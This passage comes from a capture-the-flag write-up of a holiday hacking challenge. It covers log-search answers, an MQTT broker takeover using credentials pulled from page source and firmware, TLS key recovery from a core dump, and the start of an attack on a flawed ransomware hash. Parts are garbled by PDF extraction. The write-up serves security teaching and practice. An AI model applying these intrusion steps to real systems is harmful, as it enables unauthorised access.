Question 6: What was the IP address of the system you found in the previous question?

grep GreenCoat log chunk * | grep "url\": \".*howtosavexmas.zip" 172.24.25.12

Question 7: A process was launched when the user executed the program AFTER they downloaded it. What was that Process ID number (digits only please)?

grep WindowsEvent log chunk * | grep "ProcessName\": \".*howtosavexmas.*" | grep "ObjectType\": \".*File.*" 10014

Question 8: Did the attacker's payload make an outbound network connection? Our ElfSOC analysts need your help identifying the destination TCP port of this connection.

grep WindowsEvent log chunk * | grep "ProcessID\": 10014" | grep "Image\": \".*howtosavexmas.*" grep Port 8443

Question 9: The attacker escalated their privileges to the SYSTEM account by creating an interprocess communication (IPC) channel. Submit the alpha-numeric name for the IPC channel used by the attacker.

grep WindowsEvent log chunk * | grep "ProcessID\": 10014" | grep pipe ddpvccdbr

Question 10: The attacker's process attempted to access a file. Submit the full and complete file path accessed by the attacker's process.

grep WindowsEvent log chunk * | grep "ProcessName\": \".*howtosavexmas.*" | grep File C:\Users\elf_user02\Desktop\kkringl315010.12.25.24.pem

Question 11: The attacker attempted to use a secure protocol to connect to a remote system. What is the hostname of the target server?

cat log chunk * | grep "34.30.110.62" | grep -i ssh | grep -i hostname kringleSSleigH

Question 12: The attacker created an account to establish their persistence on the Linux host.

Article List

Page 31 / 51

Elf Stack

What is the name of the new account created by the attacker?

grep AuthLog log chunk * | grep "new user" ssdh

Question 13: The attacker wanted to maintain persistence on the Linux host they gained access to and executed multiple binaries to achieve their goal. What was the full CLI syntax of the binary the attacker executed after they created the new user account?

grep AuthLog log chunk * | grep -A 20 "new user" | grep COMMAND /usr/sbin/usermod -a -G sudo ssdh

Question 14: The attacker enumerated Active Directory using a well known tool to map our Active Directory domain over LDAP. Submit the full ISO8601 compliant timestamp when the first request of the data collection attack sequence was initially recorded against the domain controller.

grep WindowsEvent log chunk *.log| grep "EventID\": 2889" | grep "Computer\": \"dc.*" | head n 1

2024-09-16T11:10:12-04:00

Question 15: The attacker attempted to perform an ADCS ESC1 attack, but certificate services denied their certificate request. Submit the name of the software responsible for preventing this initial attack.

grep WindowsEvent log chunk *.log| grep -i "certificate template" KringleGuard

Question 16: We think the attacker successfully performed an ADCS ESC1 attack. Can you find the name of the user they successfully requested a certificate on behalf of?

grep WindowsEvent log chunk *.log| grep -i "certificate template" nutcrakr

Question 17: One of our file shares was accessed by the attacker using the elevated user account (from the ADCS attack). Submit the folder name of the share they accessed.

grep WindowsEvent log chunk *.log| grep "Subject AccountName\": \"nutcrakr" | grep "EventID\": 5140" | grep accessed WishLists

Question 18: The naughty attacker continued to use their privileged account to execute a PowerShell script to gain domain administrative privileges. What is the password for the account the attacker used in their attack payload?

grep WindowsEvent log chunk *.log| grep -i "nutcrakr" | grep -i payload | grep pswd fR0s3nF1@k3 s

Question 19: The attacker then used remote desktop to remotely access one of our domain computers. What is the full ISO8601 compliant UTC EventTime when they established this connection?

grep WindowsEvent log chunk *.log| grep "EventID\": 4624" | grep "LogonType\": 10" 2024-09-16T15:35:57.000Z

Question 20: The attacker is trying to create their own naughty and nice list! What is the full file path they created using their remote desktop connection?

grep WindowsEvent log chunk *.log| grep "CurrentDirectory\": .*List.*" C:\WishLists\santadms only\its my fakelst.txt

Question 21: The Wombley faction has user accounts in our environment. How many unique Wombley faction users sent an email message within the domain?

grep SnowGlowMailPxy log chunk *.log| awk -F'"From":' '{split(\$2, a, ","); print a[1]}' | sort | uniq| grep cub

Question 22: The Alabaster faction also has some user accounts in our environment. How many emails were sent by the Alabaster users to the Wombley faction users?

grep SnowGlowMailPxy log chunk *.log| grep "From\": \"asnow" | grep "To\": \"wcub" | wc



Question 23: Of all the reindeer, there are only nine. What's the full domain for the one whose nose does glow and shine? To help you narrow your search, search the events in the 'SnowGlowMailPxy' event source.

Elf Stack

22

Santa Vision

grep SnowGlowMailPxy log chunk *.log| awk -F'"From":' '{split(\$2, a, ","); print a[1]}' | sort | uniq -c | sort | grep -i rudolph rud01ph.glow

Question 24: With a fiery tail seen once in great years, what's the domain for the reindeer who flies without fears? To help you narrow your search, search the events in the 'SnowGlowMailPxy' event source.

grep SnowGlowMailPxy log chunk *.log| awk -F'"From":' '{split(\$2, a, ","); print a[1]}' | sort | uniq -c | sort | grep -i reindeer cOm3t.halleys

I'm so impressed with how efficiently you worked through the ELK stack logs like an expert - your quick and accurate analysis of the attack chain might just be what we need to get Santa smiling again! With skills like yours piecing together the attack path, the North Pole owes you a huge debt of gratitude.

Santa Vision - Listen to the Feeds

Mr. Bonbowford, regarding the critical situation where both factions had hijacked the Santa Broadcast Network for propaganda purposes, could you explain why you believed accessing the SantaVision infrastructure and modifying the admin privileges configuration would help restore cooperative content and promote elf unity?

Ribb Bonbowford: First, I booted the GateXOR. After a while, I saw this:

GateXOR> building up finished... GateXOR> {end}...[timeline] reverted! GateXOR> [Instructions] Your SantaVision instance is now available at the IP address above. Scan the IP address to begin the challenge. Good luck !!

I scanned the IP with nmap to get a first overview over the running services (the IP address was, of course, different every time).

sudo nmap -sS 35.239.127.24 --top-ports 2000

PORT STATE SERVICE 22/tcp open ssh 1883/tcp open mqtt 8000/tcp open http-alt 9001/tcp open tor-orport

First of all, I took a look around the web server and found credentials in the HTML source code that I could use to log in: elfanon:elfanon.

http://35.239.127.24:8000/

<div class="footer" id="footer"> ©2024 Santavision Elventech Co., Ltd. Snow Rights Reserved.
(<i>topic 'sitestatus'</i> available.) </div> <!-- mgtt: elfanon:elfanon -->

After I had logged in, I first looked at possible clients via <u>List Available Clients</u> and possible roles via <u>List</u> Available Roles. From this, I could derive another pair of credentials that I could use to display the feeds: elfmonitor:SiteElfMonitorRole. The feed name northpolefeeds was derived from the challenge and the *IP/port from the information I had from the Nmap scan.*



Page 33 / 51

Act 3



Next, I subscribed to the frostbitfeed MQTT topic using a command line client. After a while, I saw an additional interesting feed: santafeed.

This could have been done very easily via the web application (connected to broadcast feed). But I also wanted to try the alternative way via the command line as seen in the hints.

mosquitto sub -h 35.239.127.24 -p 1883 -u "elfmonitor" -P "SiteElfMonitorRole" -t "frostbitfeed" -d

Client null received PUBLISH (d0, q0, r0, m0, 'frostbitfeed', ... (42 bytes)) Additional messages available in santafeed

When I looked at this feed too, I got the code name for the elves' secret operation: Idemcerybu.

mosquitto_sub -h 35.239.127.24 -p 1883 -u "elfmonitor" -P "SiteElfMonitorRole" -t "santafeed" d

Client null received PUBLISH (d0, q0, r0, m0, 'santafeed', ... (44 bytes)) Sixteen elves launched operation: Idemcerybu

The last step was to lock out Alabaster and Wombley. When I kept listening to the santafeed, I saw a message that would probably be suitable for this: singleAdminMode=true. When I sent it to the feed, I could see the restored feed in the screens. So Santa used a pogo stick as a conception.

Great job on taking that first step - you were on the silver path and doing really well! While you've gained access, there was still more to uncover!



When I continued listening to the sitestatus feed, I saw the link to the application firmware, which I downloaded immediately and unpacked with jefferson as it seemed to be a JFFS2 filesystem.

Santa Vision

Santa Vision

wget http://34.42.100.11:8000/static/sv-application-2024-SuperTopSecret-9265193/ applicationDefault.bin file applicationDefault.bin applicationDefault.bin: Linux jffs2 filesystem data little endian

jefferson -d extracted_files/ applicationDefault.bin dumping fs to /home/user/tmp/santa vision/extracted files (endianness: <) Jffs2 raw inode count: 47 Jffs2 raw dirent count: 47 writing S ISREG .bashrc writing S ISREG .profile

There I found some interesting credentials (by using grep and keywords like password, secret, etc.) that I could also use.

cat app/src/core/views.py

\""+PlyrTopic+"\"}]}", hostname="localhost", port=1883, auth={'username':"SantaBrokerAdmin", 'password':"8r0k3R4d1mp455wD"}) ...

cat app/src/accounts/views.py

@accounts bp.route("/sv2024DB-Santa/SantasTopSecretDB-2024-Z.sqlite", methods=["GET"]) def db():

return send from directory("static", "sv2024DB-Santa/SantasTopSecretDB-2024-Z.sqlite", as attachment=True) ...

So I downloaded this additional artefact (a SQLite database) and inspected the tables first, then the contents.

wget http://34.42.100.11:8000/static/sv2024DB-Santa/SantasTopSecretDB-2024-Z.sqlite sqlite3 SantasTopSecretDB-2024-Z.sqlite .tables alembic version users select * from users; 1|santaSiteAdmin|S4n+4sr3411yC00Lp455wd|2024-01-23 06:05:29.466071|1

With these credentials, I could also log in to the application: santaSiteAdmin|S4n+4sr3411yC00Lp455wd. After logging in, I looked at the page source code again. After a closer look, I noticed that I was now

← C බ ▲ Nicht sicher | 34.42.141.152



The Kringle Post

Article List

```
...mqttPublish.single("$CONTROL/dynamic-security/v1","{\"commands\":[{\"commands\":
\"removeRoleACL\",\"rolename\": \""+PlyrRole+"\",\"acltype\": \"subscribeLiteral\",\"topic\":
```

Page 35 / 51

Act 3

Santa Vision

receiving additional headers from the server. But be aware at least the password is be different each time the instance is restarted.

I could now use these as credentials to connect: santashelper2024:playerSantaHelperPass9901254924.

A little ingenuity was required here again. When I looked at the answer from the silver medal (Idemcerybu), I thought it could perhaps be an anagram. However, I did not come up with a single definite solution. After a second look, I assumed the letters could also have been shifted. So I used an online tool for the Caesar *Cipher and I found that a shift of 10 (a->k)* provided the solution: *Snowmobile*.

I finally performed the same action as for the silver medal, only this time with the new credentials. And I saw what Santa was travelling with: a hovercraft.

mosquitto_pub -h 34.42.141.152 -p 1883 -u "santashelper2024" -P
"playerSantaHelperPass9901254924" -t "santafeed" -m
"singleAdminMode=true"



I'm thrilled - you've successfully cleared out the propaganda and restored our seasonal spirit with a solid gold performance! The airwayes are now back to broadcasting unity and teamwork, you've done amazingly well!

Advertisment

Page 36 / 51

NEW RELEASE

ELF THE DWARF'S GLORIOUSLY, FINALLY FINISHED ADVENTURE! Volume 4

"Even shorter than Vol. 3, but twice as hackable!"

Warning: May contain traces of binary exploitation

Available at: Ye Olde Buffer Overflow Bookshop



Decrypt the Naughty-Nice List.

Decrypt the Naughty-Nice List - Bits and Bytes

Mr. Coalbox, after Wombley deployed the Frostbit ransomware to encrypt the Naughty-Nice List but subsequently lost the encryption keys, what made you suspect there might be vulnerabilities in the ransomware's encryption implementation that could be exploited through reverse engineering?

Tangle Coalbox: First, I downloaded the required artefacts using Generate & Download Artifacts. I had to keep in mind that this might take some time and that the generated artefacts were created differently each time. After that, I unzipped the files.

unzip frostbitartifacts.zip Archive: frostbitartifacts.zip inflating: DoNotAlterOrDeleteMe.frostbit.json <-- Frostbit configuration settings inflating: frostbit.elf <-- Frostbit binary inflating: frostbit core dump.13 <-- Frostbit core dump inflating: naughty nice list.csv.frostbit <-- Encrypted naught and nice list inflating: ransomware traffic.pcap <-- Frostbit web traffic

Due to the large number of files, there were several starting points. I first looked at the json file, as this was the easiest to read, there I found a digest, which would probably be something like a hash and in hex format, as well as a status ID, an ASCII value, which could probably be the ID of this Frostbit instance. And the status itself, which indicated that a key had been successfully set. From this I concluded that Frostbit had encrypted the naughty and nice list locally and sent this key to the server, where it was then stored.

cat DoNotAlterOrDeleteMe.frostbit.json {"digest":"c28180184c4104a481e8b81e34402011","status":"Key Set","statusid":"pwvS5jRDn5qu"}

With luck, the key could be seen in web traffic. I therefore opened the pcap file in Wireshark and was immediately disappointed, as the protocol was TLSv1.3, i.e. the traffic was encrypted and could not be read by me. However, I also had a core dump, which could contain the exact secrets that the client and server exchanged in order to set up the secure connection.

strings frostbit core dump.13 | grep TRAFFIC SECRET ?CLIENT HANDSHAKE TRAFFIC SECRET

CLIENT_HANDSHAKE_TRAFFIC_SECRET 72ef792517c56ef4fbf70374c4b1cf8a30f0386530e05ddab9acd0469c9ba999 2891b16c7ded549396e0ac93496be123e35cacd69de8982c075be70c1c32828c SERVER_HANDSHAKE_TRAFFIC_SECRET 72ef792517c56ef4fbf70374c4b1cf8a30f0386530e05ddab9acd0469c9ba999 847c9aa8c80652e778166343095cfa895605c086269a4eb3deda586901394c82 CLIENT TRAFFIC SECRET 0 72ef792517c56ef4fbf70374c4b1cf8a30f0386530e05ddab9acd0469c9ba999 991f0cfcdfd6aad302ebcc926c4f7ddc6c5d000a6a4e330287557925e40000ca SERVER TRAFFIC SECRET 0 72ef792517c56ef4fbf70374c4b1cf8a30f0386530e05ddab9acd0469c9ba999 90bcdaff404ed875c52563de2bcdedf13ef8c825543631cbcc

I quickly checked whether these secrets were the same in the pcap by matching the Random field in Wireshark. Since the two were identical, I could load them into Wireshark and thus make the traffic readable for me.





Article List

The Kringle Post



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Active Active<	172.17.0.3 TCP 66	443 - 57784 [ACK] Seq=4539 ACK=3012 W1n=04128 Len=0 TSVal=4	1096151345 TSecr
15), 1544 bytes captured (12322 bits) 104 4 f a 10 63 b 10 65 c 10 6 0 00 6 b d 03 80 72 e f 79 N · · · · · r · y · · · · · · · · · · · ·	1/2.1/.0.3 HTTP/J_ 3/6	ETTOL 112 LOCK Company Activity Soll	006006600 TCoo
02/22/16/16/11(00/03) 02/22/16/16/14 02/22/16/16/14 02/22/16/16/14 02/22/16/16/14 02/22/16/16/14 02/22/16/16/14 02/22/16/16/14 02/22/16/16/14 02/22/16/16/14 02/22/16/16/14 02/22/16/16/14 02/22/16/16/14 02/22/16/16/14 02/22/16/16/14 02/22/16/16/14 02/22/16/16/14 02/22/16/16/16 02/22/16/16/14 02/22/16/16/14 02/22/16/16/14 02/22/16/16/16 02/22/	ts), 1544 bytes captured (12352 bits)	00:0 4e fa 15 03 01 05 c1 01 00 05 bd 03 03 72 ef 79	r.v
3.7.0 3.7.0 <td< th=""><th>02:42:ac:11:00:03), Dst: 02:42:30:67:a</th><th>0050 25 17 c5 6e f4 fb f7 03 74 c4 b1 cf 8a 30 f0 38 9</th><th>- n t 0 8</th></td<>	02:42:ac:11:00:03), Dst: 02:42:30:67:a	0050 25 17 c5 6e f4 fb f7 03 74 c4 b1 cf 8a 30 f0 38 9	- n t 0 8
rf: 57704, Dit Port: 443, Seg: 1, Ack: 0070 02 C d# 17 A 26 65 06 12 2070 02 11 ae 2b 50 76 +ph + AV tcccl: Client Hello 62 7 66 61 ae 63 33 33 C de 66 36 60 11 ae 2b 50 76 +ph + AV 11 ae 2b 50 76 +ph + AV tcccl: Client Hello 62 7 66 61 ae 63 33 33 C de 80 63 60 11 ae 2b 50 76 +ph + AV 11 ae 2b 50 76 +ph + AV cccl: Client Hello 62 7 66 61 ae 63 33 33 C de 80 56 61 61 47 7, 0 -ph + AV 11 ae 2b 50 76 +ph + AV cccl: Client Hello 62 7 66 74 2e 61 76 62 76 63 74 64 53 33 C de 80 76 60 11 61 77 Ap 77 74	.17.0.3, Dst: 34.173.241.47	0060 65 30 e0 5d da b9 ac d0 46 9c 9b a9 99 20 99 ae	0] · · · · F · · · · ·
tcccl: Client Hello 6000 40 77 60 70 60 70 60 70 60 70 60 70 60 70 60 70 60 70 60 70 60 70 60 70 60 70 60 70 60 70 60 70 60 70 60 70 70 60 70 70 60 70 70 60 70 70 60 70 70 60 70 70 60 70 70 60 70 70 60 70 70 60 60 70 70 60 60 70 70 60 60 70 70 60 60 70 70 60	rt: 57784, Dst Port: 443, Seq: 1, Ack:	0070 02 c4 0f 17 a2 05 01 81 2b 70 68 11 ae 2b 5c 76	
Cooling of the definition	Accessive distance in the	0080 ac 7f 0e fb ad e3 31 31 c9 75 da a0 7a c3 00 1a	11 u z
000000000000000000000000000000000000	tocol: Client Hello	0090 C0 20 C0 21 C0 2C C0 30 CC a9 CC a8 C0 09 C0 13	+-/-,-0
0000 62 56 72 20 61 70 77 80 00 00 12 00 00 00 12 00 00 00 10 00 00 00 00 00 00 00 00 00		ABAB AB 15 AB 13 AB AB 18 61 78 69 20 66 72 6f 73 74	a ni frost
00000 01 00 00 00 17 00 00 00 12 00 00 00 05 00 00 00 00 00 00 00 00 00		00c0 62 69 74 2e 61 70 70 00 0b 00 02 01 00 ff 01 00 t	it.app
1) Bees 00 06 00 08 08 00 00 000 13 000 12 000 -		0000 01 00 00 17 00 00 00 12 00 00 00 05 00 05 01 00	
00/70 18:00:13:00:00 00:00:00 13:00:00:00:00 00:00:00:00:00:00:00:00:00:00:00:00:00:	1)	00e0 00 00 00 00 0a 00 0c 00 0a 63 99 00 1d 00 17 00	
24.441.cr #a.Wr 51.441.pc.44 0.136 65 6 8 6 6 4 6 1 6 5 1 6 6 6 1 6 6 5 1 6 6 5 1 6 6 5 1 6 6 5 1 6 7 1 2 5 1 6 6 7 1 6 7 1 2 5 1 6 6 7 1 6 7 1 2 5 1 6 7 1 6 7 1 6 7		00f0 18 00 19 00 0d 00 1a 00 18 08 04 04 03 08 07 08	
42x42b2c1max1max2max2max2max2max2max2max2max2max2max2		0100 05 08 06 64 01 05 01 66 01 05 03 66 03 02 01 02	
312b708811ae2b5c78ac77feefbade33131c975 0.22 0.27 <th>/4c4b1cT8a30T0386530e05ddab9acd0469c9b</th> <th>0110 03 00 2D 00 05 04 03 04 03 03 00 33 04 ea 04 e8</th> <th></th>	/4c4b1cT8a30T0386530e05ddab9acd0469c9b	0110 03 00 2D 00 05 04 03 04 03 03 00 33 04 ea 04 e8	
01400 0150 <t< th=""><th>812h706811ae2h5c76ac7f0efhade33131c975/</th><th>0120 03 35 04 00 00 24 00 40 00 02 30 75 44 45 00 05 0</th><th></th></t<>	812h706811ae2h5c76ac7f0efhade33131c975/	0120 03 35 04 00 00 24 00 40 00 02 30 75 44 45 00 05 0	
0150 16 05 47 7a 55 ca 60 cl 36 1/ 60 7 35 c 75 4 48 ca 20 5 TH 0150 M6 64 48 06 7a 75 30 52 ca 71 67 32 c5 07 74 32 HC	in the second se	0140 d1 3a 11 78 09 88 37 c2 09 b0 e8 34 33 a2 75 14	: - X 7 43 - U -
0160 B5 Ga 48 66 67 a7 87 3d 23 5c a7 87 5d 23 5c a7 87 5d 23 5c a7 87 5d 24 51 7d 31475-14 47-16-14 0170 B5 7 6 6 25 7d 0 26 84 23 51 04 60 10 26 84 23 51 04 60 10 26 84 23 51 04 60 0170 B5 7 6 6 25 7d 10 26 84 25 10 40 10 26 84 25 10 40 10 26 84 25 10 40		0150 1c 61 a7 7a 15 ca c6 c8 16 bf b0 07 35 e7 54 48	a-z
6178 68 83 74 6e 83 80 75 5c 88 c8 85 84 63 25 18 4c 00 85 84 63 84 63 85 84 63 85 85 85 85 85 85 85 85 85 85 85 85 85		0160 08 6a 48 66 6f a7 07 3d 23 5c a7 8f 52 c5 91 74	jHfo··= #\··R··t
ndshake.random), 32 byte(s) Packets: 19 Profile: Default		0170 08 83 f4 6e e3 8b 7b 5c a0 c0 e5 84 03 25 10 4c	•••••••{\••••%•L
	ndshake.random), 32 byte(s)	Packets: 19	Profile: Default

Page 37 / 51

cat tlskeys.log

CLIENT HANDSHAKE TRAFFIC SECRET f62579740db5c764ed689de14e028e3c7a3ce26cc6fb18bd601fbfe6b2cb4f58 2891b16c7ded549396e0ac93496be123e35cacd69de8982c075be70c1c32828c

SERVER HANDSHAKE TRAFFIC SECRET 72ef792517c56ef4fbf70374c4b1cf8a30f0386530e05ddab9acd0469c9ba999 847c9aa8c80652e778166343095cfa895605c086269a4eb3deda586901394c82

CLIENT TRAFFIC SECRET 0 f62579740db5c764ed689de14e028e3c7a3ce26cc6fb18bd601fbfe6b2cb4f58 991f0cfcdfd6aad302ebcc926c4f7ddc6c5d000a6a4e330287557925e40000ca

SERVER TRAFFIC SECRET 0 72ef792517c56ef4fbf70374c4b1cf8a30f0386530e05ddab9acd0469c9ba999 90bcdaff404ed875c52563de2bcdedf13ef8c825543631cbcce2d1fd58a1694d



cat http log.txt GET /api7v1/bot/37492952-xxxx-yyyy-b6ad-f8accc4ef12f/session HTTP/1.1 Host: api.frostbit.app User-Agent: Go-http-client/1.1 Accept-Encoding: gzip

HTTP/1.1 200 OK Server: nginx/1.27.1 Date: Tue, 03 Dec 2024 22:45:03 GMT Content-Type: application/json Content-Length: 29 Connection: keep-alive Strict-Transport-Security: max-age=31536000

{"nonce":"a4aac16f1c1272ff"}

POST /api/v1/bot/37492952-xxxx-yyyy-b6ad-f8accc4ef12f/key HTTP/1.1 Host: api.frostbit.app User-Agent: Go-http-client/1.1 Content-Length: 1070 Content-Type: application/json Accept-Encoding: gzip

{"encryptedkey":"8c2f47b470548372a965258b57f1fd38b9f9604d80419e163b4ca600c81170f30455f7145c43d51 33b0c2328417507a93684ab41b4d924b539f6e3e6256ec7d9e28871ae92cc6e78fde9b9c31e083b21a11d0fb87b1f6ff a21e06849e053ea8af05c367ec6f50f6b6bbf081ecf4b4aaa5aaca43e6d23c11c39b9adfe60805e5fa3c763538c6b112 7e5c15fe3ce8d41738ead1c62f08ec9551cd880aa300e7c970069b4da6b0a105628dc04f611082f64082e8a6674fc63d a 687 a 526 b 79 e f 9 c 9097 b 74 c 7 a 3 c 297 d e 6 f e a d b 2 b 7 c 990 c 8 a 4 d d d 6 e 1 c 865444 b d b 467 a b a 608 b 99 a f 6 c c 6 a 4 b 2 f 8 e c 7 a 3 6 3 c 2 a 4 d d d 6 e 1 c 8 6 5 4 4 4 b d b 4 6 7 a b a 608 b 99 a f 6 c c 6 a 4 b 2 f 8 e c 7 a 3 6 3 c 2 a 4 d d d 6 e 1 c 8 6 5 4 4 4 b d b 4 6 7 a b a 608 b 99 a f 6 c c 6 a 4 b 2 f 8 e c 7 a 3 6 3 c 2 a 4 d d d 6 e 1 c 8 6 5 4 4 4 b d b 4 6 7 a b a 608 b 99 a f 6 c c 6 a 4 b 2 f 8 e c 7 a 3 6 3 c 2 a 4 d d 6 e 1 c 8 6 5 4 4 4 b d b 4 6 7 a b a 608 b 99 a f 6 c c 6 a 4 b 2 f 8 e c 7 a 3 6 3 c 2 a 4 d d 6 e 1 c 8 6 5 4 4 4 b d b 4 6 7 a b a 608 b 99 a f 6 c c 6 a 4 b 2 f 8 e c 7 a 3 6 3 c 2 a 4 d d 6 e 1 c 8 6 5 4 4 4 b d b 4 6 7 a b a 608 b 99 a f 6 c c 6 a 4 b 2 f 8 e c 7 a 3 6 3 c 2 a 4 d d 6 e 1 c 8 6 5 4 4 4 b d b 4 6 7 a b a 608 b 99 a f 6 c c 6 a 4 b 2 f 8 e c 7 a 3 6 3 c 2 a 4 d d 6 e 1 c 8 6 5 4 4 4 b d b 4 6 7 a b a 608 b 99 a f 6 c c 6 a 4 b 2 f 8 e c 7 a 3 6 3 c 2 a 4 d d 6 e 1 c 8 6 5 4 4 4 b d b 4 6 7 a b a 608 b 99 a f 6 c c 6 a 4 b 2 f 8 e c 7 a 3 6 3 c 2 a 4 d d 6 e 1 c 8 6 5 4 4 d d 6 e 1 c 8 6 5 4 4 d d 6 e 1 c 8 6 5 4 4 d d 6 e 1 c 8 6 5 4 4 b d b 4 6 7 a b a 608 b 99 a f 6 c c 6 a 4 b 2 f 8 e c 7 a 3 6 3 c 2 a 4 d d 6 e 1 c 8 6 5 4 d d 6 e 1 c 8 6 5 4 d d 6 e 1 c 8 6 5 4 4 d d 6 e 1 c 8 6 5 4 d d 6 e 1 c 8 6 5 4 d d 6 e 1 c 8 6 5 4 d d 6 e 1 c 8 6 5 4 d d 6 e 1 c 8 6 5 4 d d 6 e 1 c 8 6 5 4 d d 6 e 1 c 8 6 5 4 d d 6 e 1 c 8 6 5 4 d d 6 e 1 c 8 6 5 4 d d 6 e 1 c 87d7f177d820dd7dce4fe55ae724186230a118fcaa7e591bf37d75ea3c6fb1a0295ada39022f2191e3b85541c91475d98 $4 c_3 7 15 a b 47716 f 729 a b f 85 d 5 d e d a 1 e 1 b 8 b 2 f e 5 c 2 d 4 8 6 9 2 7 7 2 4 0 4 5 9 e 5 d 4 b 9 0 2 0 0 6 f 4 2 2 1 b 0 8 0 c 2 b d 7 8 a 1 d 0 1 b 6 1 7 d 3 f b e 6 6 f 4 b 2 1 b$ b112eff8908d2fa27d3df7dcc21e15a012701cb7f8ce864561a42db0f4777535eb741e824050cd5749ed72d15efa00c2 499577697cfed477bf0e18211ef409ba628d0f661fab023e8e85fd693c6d5b6e9892fb5d41e9767de", "nonce": "a4aa c16f1c1272ff"} HTTP/1.1 200 OK

REDACTED in debug) encryptedkey: deactivated: true/false

to a library <u>FrostBiteHashlib.py</u>. The static could refer to static files, which caused the web server to output the file directly. When I called up this URL directly, I saw the content of the library.

curl "https://api.frostbit.app/view/pwvS5jRDn5qu/37492952-xxxx-yyyy-b6ad-f8accc4ef12f/status? digest=c28180184c4104a481e8b81e34402011TEST&debug=true" {"debug":true,"error":"Status Id File Digest Validation Error: Traceback (most recent call last): \n File \"/app/frostbit/ransomware/static/FrostBiteHashlib.py\", line 55, in validate\n decoded bytes = binascii.unhexlify(hex string)\nbinascii.Error: Non-hexadecimal digit found\n"}

curl https://api.frostbit.app/static/FrostBiteHashlib.py import traceback import binascii

```
class Frostbyte128:
    def init (self, file bytes: bytes, filename bytes: bytes, nonce bytes: bytes, hash
length: int = \overline{16}):
        self.file bytes = file bytes
        self.filename bytes = filename bytes
. . .
```

Now I knew how the library performed the comparison (<u>if decoded bytes == self.digest()</u>) and how the hash was generated in the first place (def compute hash(self)). This meant that if I passed a hash (as the digest parameter) that corresponded to the generated hash, I could convince the server to recognise the call as valid. I knew that I could use the debug parameter to force the server to output the content of a file. From the challenge "Santa vision", I still had a suitable target from the frostbit feed that I could use as a target. With a double encoding, I could also produce a path traversal.

Page 38 / 51

Server: nginx/1.27.1

Article List

statusid:

digest: nonce:

uid:

Decrypt the Naughty-Nice List.

Date: Tue, 03 Dec 2024 22:45:03 GMT Content-Type: application/json Content-Length: 91 Connection: keep-alive Strict-Transport-Security: max-age=31536000

{"digest":"c28180184c4104a481e8b81e34402011","status":"Key Set","statusid":"pwvS5jRDn5qu"}

Now I had the key for my naughty and nice list, but unfortunately it was only available in encrypted form. So I had to dig deeper. I searched the core dump again to see if any other web requests had been sent.

strings frostbit_core_dump.13 | grep "https://api.frostbit.app"
https://api.frostbit.app/view/pwvS5jRDn5qu/37492952-xxxx-yyyy-b6ad-f8accc4ef12f/status? digest=c28180184c4104a481e8b81e34402011 https://api.frostbit.app/view/pwvS5jRDn5qu/37492952-xxxx-yyyy-b6ad-f8accc4ef12f/status? digest=c28180184c4104a481e8b81e34402011 https://api.frostbit.app/api/v1/bot/37492952-xxxx-yyyy-b6ad-f8accc4ef12f/key https://api.frostbit.app/api/v1/bot/37492952-xxxx-yyyy-b6ad-f8accc4ef12f/session# This file can be edited; Docker Engine will not make further changes once it

I followed the third link, which had not yet been analysed, and arrived at a status page that informed me that the files had been encrypted and what would happen if the ransom was not paid. I immediately looked into the source code and found references to debug information. I tried to access this information via a parameter and was immediately successful.

https://api.frostbit.app/view/pwvS5jRDn5qu/37492952-xxxx-yyyy-b6ad-f8accc4ef12f/status? digest=c28180184c4104a481e8b81e34402011&debug=true {"uuid": "37492952-xxxx-yyyy-b6ad-f8accc4ef12f", "nonce": "REDACTED", "encryptedkey": "REDACTED", "deactivated": false, "etime": 1734998400} # Current information:

pwvS5jRDn5qu (ASCII text, name of file?) 37492952-xxxx-yyyy-b6ad-f8accc4ef12f (User ID or botid - string) c28180184c4104a481e8b81e34402011 (hex string -> decoded_bytes) a4aac16f1c1272ff (some salt value, most likely for encryption, hex string -

8c2f47b470548372a965258b... (encrypted key, hex string - REDACTED in debug)

When I played around a little with the URL parameters, I could generate an error message. This referred

Page 39 / 51

Decrypt the Naughty-Nice List.

curl "https://api.frostbit.app/view/ xxxx-yyyy-b6ad-f8accc4ef12f/status?digest=c2818084c4104a481e8b81e34402011&debug=true" {"debug":true, "error": "Status Id File Not Found"}

curl "https://api.frostbit.app/view/ yyyy-b6ad-f8accc4ef12f/status?digest=c2818084c4104a481e8b81e34402011&debug=true" {"debug":true,"error":"Status Id File Digest Validation Error: Traceback (most recent call last):\n File \"/app/frostbit/ransomware/static/FrostBiteHashlib.py\", line 55, in validate\n decoded bytes = binascii.unhexlify(hex_string)\nbinascii.Error: Odd-length string\n"}

Let's Encrypt cert for api.frostbit.app verified. at path /etc/nginx/certs/api.frostbit.app.key

To debug display this interesting file, however, I would actually need to know the content of the file, which of course I could not know. However, if I took a closer look at the calculation logic for hash generation, I recognised a flaw that I might be able to exploit. To do this, I created a local copy and enriched it with debug outputs to better understand the concept.

import binascii import sys import urllib.parse

class Frostbyte128:

def init (self, file bytes: bytes, filename bytes: bytes, nonce bytes: bytes, hash length: $int = \overline{16}$): self.file bytes = file bytes

self.filename bytes = filename bytes self.filename bytes length = len(self.filename bytes) self.nonce bytes = nonce bytes self.nonce bytes length = len(self.nonce bytes) self.hash length = hash length self.hash result = self. compute hash()

```
def compute hash(self) -> bytes:
   hash result = bytearray(self.hash length)
   count = 0
```

for i in range(len(self.file_bytes)):
 xrd = self.file_bytes[i] ^ self.nonce_bytes[i % self.nonce_bytes_length] hash result[count % self.hash length] = hash result[count % self.hash length] ^ xrd count += 1

for i in range(len(self.filename bytes)): count mod = count % self.hash length count filename mod = count % self.filename bytes length count_nonce_mod = count % self.nonce_bytes_length xrd = self.filename_bytes[count_filename_mod] ^ self.nonce_bytes[count_nonce_mod] hash_result[count_mod] = hash_result[count_mod] & xrd

print(f'Digest Pos({count mod}) = Filename Pos({count filename mod}) XOR Nonce Pos({count nonce mod}) AND Digest Pos({count mod}) = {hex(self.filename bytes[count filename mod]) } XOR {hex(self.nonce bytes[count nonce mod]) } AND {hex(hash result[count mod]) } = {hex(hash result[count mod] & xrd)}')

count += 1

return bytes (hash result)

- def digest(self) -> bytes: """Returns the raw binary hash result.""" return self.hash result
- def hexdigest(self) -> str: """Returns the hash result as a hexadecimal string.""" return binascii.hexlify(self.hash result).decode()

def update(self, file bytes: bytes = None, filename bytes: bytes = None, nonce bytes: bytes = None):

"""Updates the internal state with new bytes and recomputes the hash.""" if file bytes is not None:

The Kringle Post



Article List



self.file bytes = file bytes if filename bytes is not None: self.filename bytes = filename bytes if nonce bytes is not None: self.nonce bytes = nonce bytes

self.hash result = self. compute hash()

def validate(self, hex string: str): ""Validates if the provided hex string matches the computed hash.""" try: decoded bytes = binascii.unhexlify(hex string)

